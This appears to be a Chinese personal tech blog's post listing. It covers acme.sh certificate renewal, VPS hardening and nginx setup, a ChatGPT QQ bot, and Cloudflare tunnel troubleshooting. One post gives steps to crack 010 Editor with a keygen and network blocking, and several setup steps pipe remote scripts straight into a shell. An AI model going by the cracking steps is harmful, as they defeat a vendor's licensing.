'application/javascript; charset=utf-8'); // 设置 Vary 头使浏览器正确进行缓存 res.headers.append('Vary', 'Accept-Encoding'); res.headers.append('Vary', 'Origin'); return res } 你可以根据实际情况,进行修改. 上面代码能够一定程度防止滥用,具有一定安全性.

2023/3/11
articleCard.readMore

如何自动续期证书?

前言 本文主要记录如何使用开源项目acme.sh 来自动化我们网站的证书续期. 本文采用的方式: DNS 验证 如需其他方式请看官方文档 域名解析提供商: cloudflare 所以需要它的注册邮箱和Global API Key或者某域名下的区域 ID和户 ID 由于网上已有类似内容(但质量,不好说),故本文尽可能表述清晰,易懂,易操作.手把手帮助大家进行相关操作. 安装 1 2 3 curl https://get.acme.sh | sh -s email=your@example.com # 邮箱填你CF注册的就行 source ~/.zshrc acme.sh -h # 命令应该就行正常运行了 获取令牌 使用全局 API 密钥 登录到您的 Cloudflare 帐户以获取您的API 密钥. 注意⚠️:生成的令牌不会存储在 cloudflare 帐户中,故你需要存储到安全的地方.另外,注意过期时间的设置,建议永久但要确保存储位置安全以及及时删除剪贴板中的密钥(某些程序和APP会读取剪贴板)等. 1 2 3 export CF_Key="*****"# 上面获取到的Key export CF_Email="xxxx@**.com"# 上面的注册邮箱 # 在执行颁发证书命令后上面内容会被保存到~/.acme.sh/account.conf中 注意清除命令的历史记录(建议定期清除). 1 2 3 4 bash history -c && history -w zsh history -c 或者暴力方式:rm ~/.bash_history && rm ~/.zsh_history 使用区域API令牌 此方法不做详细介绍,可以查看官方介绍如何使用 DNS API 令牌当前需要在所有区域中访问对 Zone.Zone 的读取访问权限和对 Zone.DNS 的写入访问权限。有关详细信息,请参阅问题 #2398 生成并安装证书 本文采用的是DNS验证方式,如需http方式请看官方文档. 1 acme.sh --issue --dns dns_cf -d example.com -d www.example.com 例如: 证书生成以后, 接下来需要把证书 copy 到真正需要用它的地方. 注意, 默认生成的证书都放在安装目录下: ~/.acme.sh/, 请不要直接使用此目录下的文件,因为目录结构可能会变化. Apache example: 1 2 3 4 5 acme.sh --install-cert -d example.com \ --cert-file /path/to/certfile/in/apache/cert.pem \ --key-file /path/to/keyfile/in/apache/key.pem \ --fullchain-file /path/to/fullchain/certfile/apache/fullchain.pem \ --reloadcmd "service apache2 force-reload" Nginx example: 1 2 3 4 5 acme.sh --install-cert -d example.com \ --cert-file /path/to/certfile/in/nginx/cert.pem \ --key-file /path/to/keyfile/in/nginx/key.pem \ --fullchain-file /path/to/fullchain/certfile/nginx/fullchain.pem \ --reloadcmd "service nginx force-reload" 没有service命令也可用:systemctl restart nginx.service 注意⚠️,运行命令之前,请先检查路径是否存在,否则请运行命令 mkdir -p yourpath(你的路径) 若你要申请泛域名 命令参考: 1 acme.sh --issue --dns dns_cf -d "*.lanyundev.com" 1 2 3 4 5 acme.sh --install-cert -d "*.lanyundev.com" \ --cert-file '/path/to/acme/*.lanyundev.com/cert.pem' \ --key-file '/path/to/acme/*.lanyundev.com/key.pem' \ --fullchain-file '/path/to/acme/*.lanyundev.com/fullchain.pem' \ --reloadcmd "systemctl restart nginx.service" 其余相关命令 查看已安装证书信息 1 acme.sh --info -d example.com 更新证书 目前证书在 60 天以后会自动更新, 你无需任何操作. 今后有可能会缩短这个时间, 不过都是自动的, 你不用关心. 请确保 cronjob 正确安装, 看起来是类似这样的: 1 2 3 crontab -l 56 * * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null 更新 acme.sh 目前由于 acme 协议和 letsencrypt CA 都在频繁的更新, 因此 acme.sh 也经常更新以保持同步. 升级 acme.sh 到最新版 : 1 acme.sh --upgrade 如果你不想手动升级, 可以开启自动升级: 1 acme.sh --upgrade --auto-upgrade 之后, acme.sh 就会自动保持更新了. 你也可以随时关闭自动更新: 1 acme.sh --upgrade --auto-upgrade 0 查看证书列表 1 acme.sh --list 删除证书 1 acme.sh --remove -d example.com 出错怎么办: 如果出错, 请添加 debug log: 1 acme.sh --issue ..... --debug 或者: 1 acme.sh --issue ..... --debug 2 请参考: https://github.com/Neilpang/acme.sh/wiki/How-to-debug-acme.sh 最后, 本文并非完全的使用说明, 还有很多高级的功能, 更高级的用法请参看其他 wiki 页面. https://github.com/Neilpang/acme.sh/wiki

2023/3/10
articleCard.readMore

从0开始速配VPS用于网站等

前言 鸽了好久好久,终于再写篇文章了. 写这篇文章主要是想记录📝一下VPS配置过程, (本地其实有的,只不过太杂了,本文精减一下内容,有些东西是不必要的,所以整理一下,方便我以后CV) 今早上起床一看邮箱,咦,今天凌晨新注册账号然后申请的Vultr Free Tier Program居然过了. 作为白嫖党、当然马上就开整.配置过程,发现本地记录配置的东西有些不适合这个小小的垃圾VPS(1 颗虚拟核心、512MB 内存、10GB 硬盘、一个 IPv4 地址),所以打算写篇文章,精简精简内容. 注:本文对Windows用户不太友好.部分问题可能需要自己解决.本文包安装器为apt,archlinux等用户看我以后有木有空整整. 密钥登陆 首先,配置vps的sshd服务,为了安全,我只推荐使用密钥登陆,密码的话,服务器天天被爆破,我感觉很难受. 如何配置这个免密登陆呢? 其实很简单,网上教程很多,但是很乱,我这里直接说怎么做.实现本机免密登陆 获取本机公钥 如果你是Linux或者macOS用户.打开终端. 曾生成过公私钥 直接命令 1 cat .ssh/id_rsa.pub 将输出的内容复制 未生成过公私钥 1 ssh-keygen # 或者用 ssh-keygen -t ed25519 然后一路回车默认就行(当然输点内容也是可以的) 然后按照👆上面操作就行. 配置免密登陆 在vultr开机子的界面有SSH Keys这个地方.点Add New将你的上面复制的公钥粘贴进去.(Name自己随便起个名字) 或者用下面命令行解决. 1 2 3 ssh-copy-id -i ~/.ssh/id_rsa.pub root@ip # 上传公钥 # 或者编辑~/.ssh下的authorized_keys添加公钥 # 如果遇到奇怪的bug,而你又是用命令行添加的话,你可能需要在本机 ~/.ssh/known_hosts 中删除你刚刚添加的主机信息 然后机子开完后有ip地址,复制它. 然后在终端输入 1 ssh root@ip -p 22 # 默认端口是22,后面改了端口的话,记得换. 登进去后,先改改sshd的配置 1 vim /etc/ssh/sshd_config 更改部分内容为下面(对应的建议取消注释)👇 1 2 3 4 5 6 7 8 9 10 11 12 13 14 PermitRootLogin prohibit-password # 只允许密钥登陆root用户 Port 12345 # 这个自己改为一个心仪的端口就好,建议整大点,范围0-65535 LogLevel VERBOSE # 这个可选.看个人.调日志等级的 AuthorizedKeysFile.ssh/authorized_keys # 免密登陆公钥文件路径配置 PasswordAuthentication no # 不允许密码登陆 PubkeyAuthentication yes #启用公钥私钥配对认证方式 GatewayPorts yes # 同下 AllowTcpForwarding yes # 这个看个人,是否允许ssh进行tcp转发,我有可能有这个代理需求,所以就整了. X11Forwarding yes # 同上 PrintMotd yes # 字面意思 PrintLastLog yes # 字面意思 TCPKeepAlive yes # 字面意思 ClientAliveInterval 60 # 字面意思,保证ssh连接的 ClientAliveCountMax 60 # 字面意思,保证ssh连接的 防火墙 接下来弄防火墙 1 2 3 4 5 6 7 8 9 10 11 apt update # 更新命令 apt upgrade -y apt dist-upgrade -y ufw enable # 没有装ufw的建议装一个(apt install ufw),主要是配置比原生的方便些. ufw status numbered # 如图所示 ufw delete 1 # 删除序号为1的,如图就是22/tcp,之后按y确认回车 ufw delete 2 ufw allow 12345 # 👆上面你设置的端口号 ufw allow 443 # 如果你要提供web服务的话,可以开,如果不提供就不用开. # ufw allow 80:100/tcp # ufw allow 200:300/udp 配置VIM,使得好用 1 2 3 4 5 6 sudo apt update && sudo apt upgrade && sudo apt autoremove apt install vim-gtk3 wget git # 安装vim mkdir -p ~/.vim/colors/ wget https://raw.githubusercontent.com/tomasr/molokai/master/colors/molokai.vim -O ~/.vim/colors/molokai.vim git clone --depth=1 https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim vim ~/.vimrc 填入一下内容(注意,格式不要乱) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 "----------------- Configuration file for vim----------------------- set modelines=0 " CVE-2007-2438 " Normally we use vim-extensions. If you want true vi-compatibility " remove change the following statements set nocompatible " Use Vim defaults instead of 100% vi compatibility set backspace=2 " more powerful backspacing " Don't write backup file if vim is being called by "crontab -e" au BufWrite /private/tmp/crontab.* set nowritebackup nobackup " Don't write backup file if vim is being called by "chpass" au BufWrite /private/etc/pw.* set nowritebackup nobackup let skip_defaults_vim=1 " 设置外观 ------------------------------------- colorscheme molokai " 设定配色方案 set number "显示行号 set showtabline=0 "隐藏顶部标签栏" set guioptions-=r "隐藏右侧滚动条" set guioptions-=L "隐藏左侧滚动条" set guioptions-=b "隐藏底部滚动条" "set cursorline "突出显示当前行" "set cursorcolumn "突出显示当前列" set langmenu=zh_CN.UTF-8 "显示中文菜单 " 变成辅助 ------------------------------------- syntax on "开启语法高亮 "set nowrap 设置代码不折行" set fileformat=unix "设置以unix的格式保存文件" " set cindent "设置C样式的缩进格式" set tabstop=4 "一个 tab 显示出来是多少个空格,默认 8 set shiftwidth=4 "每一级缩进是多少个空格 set backspace+=indent,eol,start "set backspace&可以对其重置 set showmatch "显示匹配的括号" set scrolloff=5 "距离顶部和底部5行" set laststatus=2 "命令行为两行" " 其他杂项 ------------------------------------- set mouse=a "启用鼠标" set selection=exclusive set selectmode=mouse,key set matchtime=5 set ignorecase "忽略大小写" set incsearch set hlsearch "高亮搜索项" set noexpandtab "不允许扩展table" set whichwrap=b,s,h,l,[,],<,> set autoread set nocompatible " be iMproved, required filetype off " required "启用vundle来管理vim插件 set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() " 安装插件写在这之后 "Plugin 'Valloric/YouCompleteMe' Plugin 'jiangmiao/auto-pairs' Plugin 'frazrepo/vim-rainbow' Plugin 'itchyny/lightline.vim' Plugin 'VundleVim/Vundle.vim' "安装插件写在这之前 call vundle#end() " required "filetype plugin on " required " 常用命令 " :PluginList - 查看已经安装的插件 " :PluginInstall - 安装插件 " :PluginUpdate - 更新插件 " :PluginSearch - 搜索插件 " :PluginClean - 删除插件,把安装插件对应行删除,然后执行这个命令即可 " h: vundle - 获取帮助 let g:rainbow_active = 1 " YouCompleteMe set runtimepath+=~/.vim/bundle/YouCompleteMe let g:ycm_collect_identifiers_from_tags_files = 1 " 开启 YCM 基于标签引擎 let g:ycm_collect_identifiers_from_comments_and_strings = 1 " 注释与字符串中的内容也用于补全 let g:syntastic_ignore_files=[".*\.py$"] let g:ycm_seed_identifiers_with_syntax = 1 " 语法关键字补全 let g:ycm_complete_in_comments = 1 let g:ycm_confirm_extra_conf = 0 let g:ycm_key_list_select_completion = ['<c-n>', '<Down>'] " 映射按键, 没有这个会拦截掉tab, 导致其他插件的tab不能用. let g:ycm_key_list_previous_completion = ['<c-p>', '<Up>'] let g:ycm_complete_in_comments = 1 " 在注释输入中也能补全 let g:ycm_complete_in_strings = 1 " 在字符串输入中也能补全 let g:ycm_collect_identifiers_from_comments_and_strings = 1 " 注释和字符串中的文字也会被收入补全 let g:ycm_global_ycm_extra_conf='~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py' let g:ycm_show_diagnostics_ui = 0 " 禁用语法检查 inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>" | " 回车即选中当前项 nnoremap <c-j> :YcmCompleter GoToDefinitionElseDeclaration<CR>| " 跳转到定义处 let g:ycm_min_num_of_chars_for_completion=2 " 从第2个键入字符就开始罗列匹配项 noremap <c-z> <NOP> " 换行的时候可以自动跳到下一行 imap {<CR> {<CR>}<ESC>O let g:ycm_semantic_triggers = { \ 'c,cpp,python,java,go,erlang,perl': ['re!\w{2}'], \ 'cs,lua,javascript': ['re!\w{2}'], \ } let g:ycm_filetype_whitelist = { \ "c":1, \ "cpp":1, \ "objc":1, \ "sh":1, \ "zsh":1, \ "zimbu":1, \ } "对话框的颜色修改为灰色 highlight PMenu ctermfg=0 ctermbg=242 guifg=black guibg=darkgrey highlight PMenuSel ctermfg=242 ctermbg=8 guifg=darkgrey guibg=black "关闭YCM 自动弹出函数原型预览窗口 set completeopt=menu,menuone let g:ycm_add_preview_to_completeopt = 0 set t_Co=256 "set clipboard^=unnamed,unnamedplus set termencoding=utf-8 set encoding=utf8 "set fileencodings=utf8,ucs-bom,gbk,cp936,gb2312,gb1803 然后输入:wq保存退出. 1 2 3 4 vim ~/.vimrc :PluginInstall 等待安装Done完成 然后:q然后:q就整完了. 整个好用的SHELL 安装 zsh 如果想快速搞(不想配置)的话,直接用Fish 一条命令即可: apt install fish && chsh -s /usr/bin/fish # fish设置为默认shell, 但由于习惯了bash的语法,部分fish又有些不同,不想记.故接下来整zsh配上Oh My Zsh 1 2 3 4 5 6 apt install zsh curl sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" # cat /etc/shells # 可选,可以看看你系统装了哪些shell echo $SHELL # 查看当前的shll(zsh)路径 cat /etc/shells # 查看所有shell chsh -s /usr/bin/zsh # 这个/usr/bin/zsh就是上面你复制关于zsh的路径 配置 zsh 1 2 3 4 5 6 7 git clone --depth=1 https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting git clone --depth=1 https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions git clone --depth=1 https://github.com/zsh-users/zsh-completions ${ZSH_CUSTOM:-${ZSH:-~/.oh-my-zsh}/custom}/plugins/zsh-completions vim ~/.zshrc plugins=(git zsh-autosuggestions zsh-syntax-highlighting zsh-completions) # 添加插件 然后:wq source ~/.zshrc 关于配色,更多插件哪些就自己需要就自己去弄吧,反正我感觉常用的就行. 语言设定 1 2 3 # 在~/.zshrc中可添加如下 export LC_ALL=zh_CN.UTF-8 export LANG=zh_CN.UTF-8 1 2 3 4 locale-gen zh_CN.UTF-8 # 生成中文语言 vim /etc/default/locale # 设定语言为如下 LC_ALL=zh_CN.UTF-8 LANG=zh_CN.UTF-8 ~/.zshrc 添加内容参考(#后内容代表可选,需要的话就取消注释) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 export HISTCONTROL=ignorespace DISABLE_MAGIC_FUNCTIONS=true export EDITOR='vim' setopt HIST_IGNORE_DUPS #alias a=" unset HISTFILE" alias anon="unset HISTFILE" alias enlog="export HISTFILE=/Users/lanyun/.zsh_history" export LC_ALL=zh_CN.UTF-8 export LANG=zh_CN.UTF-8 export TERM=xterm-256color alias git-log="git log --pretty=oneline --all --graph --abbrev-commit" export GPG_TTY=$(tty) alias unset-proxy="unset http_proxy && unset https_proxy && unset all_proxy" #alias set-proxy="export https_proxy=http://127.0.0.1:6152;export http_proxy=http://127.0.0.1:6152;export all_proxy=socks5://127.0.0.1:6153" #[[ -f .venv/bin/activate ]] && source .venv/bin/activate alias cl="clear" export TERMINFO=/usr/share/terminfo 安装screen 1 2 3 4 apt install -y screen vim ~/.screenrc # 添加下面内容 termcapinfo xterm* ti@:te@ defscrollback 10000 安装Nginx QUIC 下面内容已过期,无需采用下面方式,nginx主线已支持quic 什么是 HTTP/3 和 QUIC ? HTTP/3 是一种基于 QUIC(Quick UDP Internet Connections)协议的 HTTP 协议版本,它是 HTTP/2 的后继者,旨在改进 Web 性能和安全性。 HTTP/3 与之前的 HTTP 协议有很大的不同,最明显的区别是它使用 QUIC 协议而不是 TCP 协议来传输数据。 QUIC 是一种由 Google 开发的协议,基于 UDP,它在保持安全性的同时提供更快的连接和更少的延迟。与 TCP 不同,QUIC 允许多个请求同时在同一连接上进行,从而减少了网络拥塞和握手延迟的影响。 总的来说,HTTP/3 的设计目标是通过减少延迟和提高性能,为 Web 应用程序提供更快、更安全和更高效的用户体验。 上面👆的介绍看看就行.接下来准备安装. 通常情况下,有能力,机子性能不差的话,自己编译,自定义程度高.但这里机子性能差,然后我们图方便就直接用别人编译打包📦好的版本. 本次采用的是 烧饼博客 团队打包的Nginx Quic版本,基于 Nginx QUIC 官方源码打包的,支持HTTP/3和 QUIC协议. 1 2 3 4 5 6 7 8 9 10 11 12 13 apt update apt upgrade -y apt dist-upgrade -y apt install -y curl vim wget gnupg dpkg apt-transport-https lsb-release ca-certificates # 安装部分必要软件 curl -sS https://n.wtf/public.key | gpg --dearmor > /usr/share/keyrings/n.wtf.gpg # 下载并增加GPG Key echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/n.wtf.gpg] https://mirror-cdn.xtom.com/sb/nginx/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/n.wtf.list # 添加 Nginx QUIC 源 apt update apt install nginx-extras -y nginx -V # 查看版本和编译模块等 systemctl enable nginx # 开机启动 或者自行编译最新版并安装 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 以下部分命令需在root环境下运行 sudo apt update && sudo apt upgrade && sudo apt autoremove sudo apt install -y build-essential ca-certificates zlib1g-dev libpcre3 libpcre3-dev tar unzip libssl-dev wget curl libtool git cmake ninja-build mercurial libunwind-dev pkg-config golang # 编译工具&依赖库 # brotli git clone --depth=1 --recurse-submodules -j8 https://github.com/google/ngx_brotli cd ngx_brotli/deps/brotli mkdir out && cd out cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DCMAKE_C_FLAGS="-Ofast -march=native -mtune=native -flto -funroll-loops -ffunction-sections -fdata-sections -Wl,--gc-sections" -DCMAKE_CXX_FLAGS="-Ofast -march=native -mtune=native -flto -funroll-loops -ffunction-sections -fdata-sections -Wl,--gc-sections" -DCMAKE_INSTALL_PREFIX=./installed .. cmake --build . --config Release --target brotlienc cd ../../../.. # openssl git clone -b master --depth=1 https://github.com/openssl/openssl.git cd openssl ./Configure --prefix=/usr/src/openssl --openssldir=/usr/src/openssl make install cd .. # security_headers git clone --depth=1 https://github.com/GetPageSpeed/ngx_security_headers # nginx hg clone https://hg.nginx.org/nginx cd nginx make clean ./auto/configure --prefix=/etc/nginx --user=www-data --group=www-data --with-pcre --add-module=../ngx_brotli --add-module=../ngx_security_headers --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/cache/nginx/client_temp --http-proxy-temp-path=/var/cache/nginx/proxy_temp --http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp --http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp --http-scgi-temp-path=/var/cache/nginx/scgi_temp --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-stream_realip_module --with-compat --with-threads --with-file-aio --with-http_ssl_module --with-http_gzip_static_module --with-http_gunzip_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-http_slice_module --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-http_dav_module --with-http_v3_module \ --with-cc-opt="-I /usr/src/openssl/include" \ --with-ld-opt="-L /usr/src/openssl/lib64" make make install cd .. # 上面关于make install安装,如果需要撤销安装,请在其对应目录中运行命令: make uninstall # 如果需要清楚编译中下载的文件等,只保留编译成品,运行下面代码 rm -rf ngx_brotli openssl ngx_security_headers nginx /usr/src/openssl # 查看nginx版本信息 nginx -V 配置Nginx 关于如何自动续期证书,本站已有相关文章,不在赘述. 另外一下内容均以 example.com 为例,网站目录位于 /var/www/example.com 的示例. 请结合实际修改.也可以参考 Mozilla 的 SSL 配置生成器 跳转所有的 HTTP 请求: 1 2 3 4 5 6 7 8 9 10 server { listen 80 default_server; listen [::]:80 default_server; server_name example.com; location / { rewrite ^(.*)$ https://${server_name}$1 permanent; # 或者return 301 https://$host$request_uri; } } 生成 dhparam 文件: 1 2 mkdir -p /etc/nginx/ssl openssl dhparam -dsaparam -out /etc/nginx/ssl/dhparam 2048 性能低的也可以直接用 Mozilla 给你生成好的: 1 curl https://ssl-config.mozilla.org/ffdhe2048.txt > /etc/nginx/ssl/dhparam 监听 443 端口并开启 HTTP/2、HTTP/3、OCSP、TLS 1.3 和 HSTS: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 server {# 阻止IP访问 listen 443 ssl default_server; ssl_reject_handshake on; } server { listen 443 ssl http2; listen [::]:443 ssl http2; listen 443 http3 reuseport; listen [::]:443 http3 reuseport; server_name example.com; root /var/www/example.com; index index.html; ssl_certificate /etc/nginx/ssl/example_com.chain.crt; ssl_certificate_key /etc/nginx/ssl/example_com.key; ssl_trusted_certificate /etc/nginx/ssl/example_com.ca.crt; ssl_session_timeout 1d; ssl_session_cache shared:SSL:10m; ssl_session_tickets off; ssl_dhparam /etc/nginx/ssl/dhparam; ssl_protocols TLSv1.3; ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305'; ssl_prefer_server_ciphers off; add_header Alt-Svc 'h3=":443"; ma=86400'; add_header Referrer-Policy strict-origin-when-cross-origin; add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"; add_header X-Frame-Options SAMEORIGIN; add_header X-Content-Type-Options nosniff; add_header X-XSS-Protection "1; mode=block"; ssl_stapling on; ssl_stapling_verify on; # (可选)DNS 验证域名 #resolver 1.1.1.1 8.8.8.8 valid=300s; #resolver_timeout 10s; } 然后测试 Nginx 配置并重新加载: 1 2 nginx -t nginx -s reload 关于nginx设置防护等等,就懒的写了. 完结✅

2023/3/10
articleCard.readMore

搭建一个基于ChatGPT的QQ机器人(Yunzai-Bot) For Mac

前言 最近ChatGPT挺火的.网上教程也多.推荐: chatgpt-mac ChatGPT Mac客户端 chatgpt-api ChatGPT API(node.js) chatgpt-vscode ChatGPT VSCode插件 ChatGPT ChatGPT API(Python) chatgpt-twitter-bot Twitter机器人 chatgpt-desktop ChatGPT客户端,支持Windows和Mac chatgpt-advanced 可联网ChatGPT Chrome插件 summarize.site ChatGPT生成页面内容摘要的浏览器插件,目前似乎仅支持英文页面 chatgpt-telegram telegram机器人 wechat-chatgpt ChatGPT 的微信 Bot QChatBot-GPT 基于 OpenAI GPT-3 和 Mirai 的 QQ Bot 聊天机器人 chatgpt-plugin 云崽qq机器人的chatgpt插件 等等.. 自己在本机搭建了下,感觉挺简单的,打算又水一篇.😁 如果没openai账号就玩不了. 环境准备 Node.js(版本至少v16以上) pnpm Redis git 安装: 1 2 3 4 brew install nodejs brew install pnpm brew install redis brew install git 没有安装brew? 方法一:完整版安装脚本 1 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" 方法二:精简版安装脚本 1 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" speed QQ机器人软件及插件的安装 Yunzai-Bot chatgpt-plugin Yunzai-Bot的安装 使用git下载项目 1 git clone --depth=1 -b main https://github.com/Le-niao/Yunzai-Bot.git 进入Yunzai目录 1 cd Yunzai-Bot 安装依赖 1 pnpm install -P chatgpt-plugin的安装 进入yunzai根目录 1 cd Yunzai-Bot 安装依赖 1 pnpm install -w chatgpt undici showdown mathjax-node 克隆项目 1 git clone https://github.com/ikechan8370/chatgpt-plugin.git ./plugins/chatgpt-plugin 修改配置 编辑plugins/chatgpt/config/index.js文件主要修改其中的SESSION_TOKEN常量 1 2 3 4 5 const SESSION_TOKEN = '' export const Config = { token: SESSION_TOKEN } 访问https://chat.openai.com/chat右键检查或者F12 在应用中找到**__Secure-next-auth.session-token** 然后复制内容到引号之间. 启动机器人 1 node app 其他插件 https://github.com/yhArcadia/Yunzai-Bot-plugins-index (不过目前OpenAI套了CF,访问API变得困难.非官方chatgpt-api)

2022/12/12
articleCard.readMore

010 Editor For Mac 13.0.1 Crack 破解

前言 好久没写博客了,(摆烂、、、) 010 Editor新版出了,本来想懒直接用网上那些免费破解资源,结果失败(可能与我环境有关),于是随便弄弄,然后整理分享出来. 本人环境: macOS Ventura 版本13.1 Beta版(22C5059b) (目前发布时最新内测版) 芯片: Apple M1 Max 架构: ARM 本文所需文件📃: 010 Editor 13.0.1.7z (解压后:软件+注册机) 清理环境 我的建议是先卸载旧版.因为旧版破解存在问题. 推荐使用软件App Cleaner & Uninstaller卸载(其次是CleanMyMac X) 卸载比较干净. 卸载完后.打开终端输入以下命令.(确保pwd命令输出是/Users/你的用户名)(没必要) 1 2 3 4 # 👇下面命令会删除.cfg文件等,cfg文件📃记录📝你曾打开过的文件,以及插件历史等等数据.(可不删) rm -rf ~/.local/share/SweetScape/010\ Editor/ # 👇删除.ini文件等,它记录了license,时间等等..(需删除,不删有可能破解失败) rm -rf ~/.config/share/SweetScape/010\ Editor/ 安装软件 软件拖入/Applications中. 接下来,禁用010 Editor软件联网. 防火墙里面设置,阻止其连接(反正我这个系统没吊用,过后就恢复了,应该是bug还是我没整懂?) 我的建议是用Surge等代理软件中添加规则.例如: 禁用此应用联网,也可以禁域名,不过我懒得搞、 破解开始 先打开软件.点击Install License 接下来,打开CORE Keygen生成License. 复制Name和Password. 输入后,点击Check License 之后点OK即可.

2022/12/5
articleCard.readMore

关于部署Cloudflare Zero Trust遇到的问题浅记录📝

前言 为了安全🔐部署了Cloudflare Zero Trust 遇到个困扰我挺久的问题, 搜索🔍无果,最后多方排查解决了. 以下系统环境为Arch Linux,网络环境通过OpenWrt(启用科学工具PassWall)获得. 通过dig命令获取不到 ANSWER SECTION 问题如下: 1 2 3 4 5 6 7 8 9 10 11 Error looking up Cloudflare edge IPs: the DNS query failed error="lookup _v2-origintunneld._tcp.argotunnel.com on **.1:53: no such host" 2022-09-15T08:24:12Z ERR Please try the following things to diagnose this issue: 2022-09-15T08:24:12Z ERR 1. ensure that argotunnel.com is returning "origintunneld" service records. 2022-09-15T08:24:12Z ERR Run your system's equivalent of: dig srv _origintunneld._tcp.argotunnel.com 2022-09-15T08:24:12Z ERR 2. ensure that your DNS resolver is not returning compressed SRV records. 2022-09-15T08:24:12Z ERR See GitHub issue https://github.com/golang/go/issues/27546 2022-09-15T08:24:12Z ERR For example, you could use Cloudflare's 1.1.1.1 as your resolver: 2022-09-15T08:24:12Z ERR https://developers.cloudflare.com/1.1.1.1/setting-up-1.1.1.1/ 2022-09-15T08:24:12Z INF Tunnel server stopped 2022-09-15T08:24:12Z ERR Initiating shutdown error="Could not lookup srv records on _v2-origintunneld._tcp.argotunnel.com: lookup _v2-origintunneld._tcp.argotunnel.com on **.1:53: no such host" 2022-09-15T08:24:12Z INF Metrics server stopped 更换DNS等等都不行.最终确定是我OpenWrt上DHCP/DNS配置有不合理之处 解决 进入网络,转到高级设置. 定位到过滤无用包(不转发公共域名服务器无法回应的请求) 将其取消选中,保存应用即可. 为啥会这样? 因为目标域名Ping不通,所以认定为无法回应的请求. 就将有关包全部过滤了. DNS被劫持 如果你在用v2raya等代理工具,如果开启了,supervisor或者防止DNS污染等选项,很有可能导致cloudflared处于不可用或降级状态. 解决 关闭即可,如果你需要 防止DNS污染 功能,那么可能需要你进一步尝试,来让cloudflared正常工作(本人这里没时间具体测试,直接关了).

2022/9/15
articleCard.readMore

(更新)博客开放部分数据API

注:带删除线的是旧的,过期,过去的内容.更新内容写在最后面 目前更新了一下下,不过由于流量有点小贵,目前采用限制🚫+白名单的形式. 如果你的站点需要下面API,可以向我发邮件申请.我会将你(小流量)网站refere添加到白名单,并减轻限制. 甲骨文服务器已死.、、、 前言 整了台机子,用了大半年了,现在准备开放部分API了. 由于忘记用UFW开放SSH端口,导致某台甲骨文机子失联. 先公布这台机子自动跑的一些服务API.如果API失效,不可用代表机子已被甲骨文封号. API 微博热搜API,每10分钟更新. https://study.lanyundev.com/weibo.json Pixiv日榜 Top100,与Pixiv同步更新. https://study.lanyundev.com/pixiv.html 用法: 1 iframe(src="https://study.lanyundev.com/pixiv.html" loading="lazy" frameborder="0" style="width:99%;height:380px;margin:0;") 相关用法自行搜索🔍. ~~留个坑,之后再更新~~~ 说说限制🚫吧 目前是需要refere为 https://lanyundev.com/ 即本站,就可以正常访问. 但其实不止refere,还有其他因素(不过如果你是正常用户访问网站(带上refere)不会拦截). 说说申请吧.(建议直接用后面的免费API,懒得搞) 网站请求本API月流量不超过100G 网站与本站互加友联 网站有原创文章,有更新,有维护等 白名单人数限制20人,若人数满,本页会更新,然后就是TG基本单向联系不到我(每个月有概率会不定时地就看一眼) 所以建议用国外邮箱联系. 更新: 新增免费API,即无refere也可以用.但你可能🤔️需要用no-cors方式请求. 如果依然不行,欢迎邮件联系我. 目前存在access-control-allow-origin: https://lanyundev.com ,主要限制service worker不可读取响应体body. https://api.lanyundev.com/pixiv.html 和 https://api.lanyundev.com/weibo.json 均停用⛔️. 小鸡CPU性能不行,太拉了,改为私用.

2022/9/14
articleCard.readMore

浅记一下冻结应用后无法开机的解决办法

